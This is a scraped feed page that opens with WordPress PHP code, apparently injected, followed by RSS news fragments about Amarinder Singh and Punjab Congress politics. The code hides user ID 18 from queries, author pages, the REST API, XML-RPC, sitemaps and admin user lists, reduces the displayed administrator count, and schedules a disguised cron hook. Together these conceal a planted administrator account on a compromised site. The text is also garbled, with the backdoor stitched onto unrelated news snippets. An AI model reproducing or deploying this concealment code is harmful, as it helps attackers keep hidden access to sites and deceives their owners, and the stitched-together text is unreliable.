add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ISI Link? Amarinder Singh Shows Pak Friend With Sushma Swaraj, Others appeared first on The Edge Media.
]]>
“I suppose they are all also contacts of the ISI,” he wrote on Facebook after posting more than ten photos of the journalist with Indian leaders including Congress chief Sonia Gandhi, late Union minister Sushma Swaraj, and Union minister Ashwani Kumar.
The Congress’s harshest attack yet on Mr. Singh was the Punjab home minister’s threat to have Aroosa Alam examined. The 79-year-old Congressman had turned against the party after it backed Navjot Singh Sidhu in a heated year-long fight that concluded with his resignation from the top office.
The post ISI Link? Amarinder Singh Shows Pak Friend With Sushma Swaraj, Others appeared first on The Edge Media.
]]>The post Amarinder Singh Blasts Congress: “Stop Talking About Secularism” appeared first on The Edge Media.
]]>
The majority of his rage was directed at Harish Rawat, the Congress in-charge of Punjab, who called Mr. Singh’s announcement on Tuesday shocking and claimed that he had “killed the secular Amarinder within him.”
The post Amarinder Singh Blasts Congress: “Stop Talking About Secularism” appeared first on The Edge Media.
]]>The post ‘Proximity with Amit Shah’: Amarinder Singh’s secular credentials are questioned by the Congress; the former Punjab chief minister responds. appeared first on The Edge Media.
]]>Denying Amarinder’s charge of being humiliated by the Congress, Rawat said “It appears from Captain’s recent statements that he is under some sort of pressure. He should rethink, and not help BJP directly or indirectly.”
The post ‘Proximity with Amit Shah’: Amarinder Singh’s secular credentials are questioned by the Congress; the former Punjab chief minister responds. appeared first on The Edge Media.
]]>The post Amarinder Singh’s Dismissal as Punjab Chief Minister is Being Demanded by Four Cabinet Members Out of 32 MLAs appeared first on The Edge Media.
]]>All of these cabinet ministers and MLAs from Punjab Congress resident Navjot Singh Sidhu’s camp are skeptical that the party will be able to deliver on all of the promises made before the 2017 state assembly elections under Capt Amarinder’s leadership.
The post Amarinder Singh’s Dismissal as Punjab Chief Minister is Being Demanded by Four Cabinet Members Out of 32 MLAs appeared first on The Edge Media.
]]>The post Amarinder Singh To Attend Navjot Singh Sidhu’s Installation Ceremony appeared first on The Edge Media.
]]>On Friday, the ceremony will be held. Kuljit Singh Nagra and Sangat Singh Gilzian, two of the four working politicians of the Punjab Pradesh Congress Committee (PPCC), met with Amarinder on Thursday afternoon to stretch two requests – one approved by more than 50 MLAs, and a personal letter from Sidhu to the chief minister encouraging him to the event.
After meeting with the chief minister, Nagra stated that he has consented to attend the event, which would be held at the Congress Bhawan in Chandigarh at 11 a.m. on Friday.
The post Amarinder Singh To Attend Navjot Singh Sidhu’s Installation Ceremony appeared first on The Edge Media.
]]>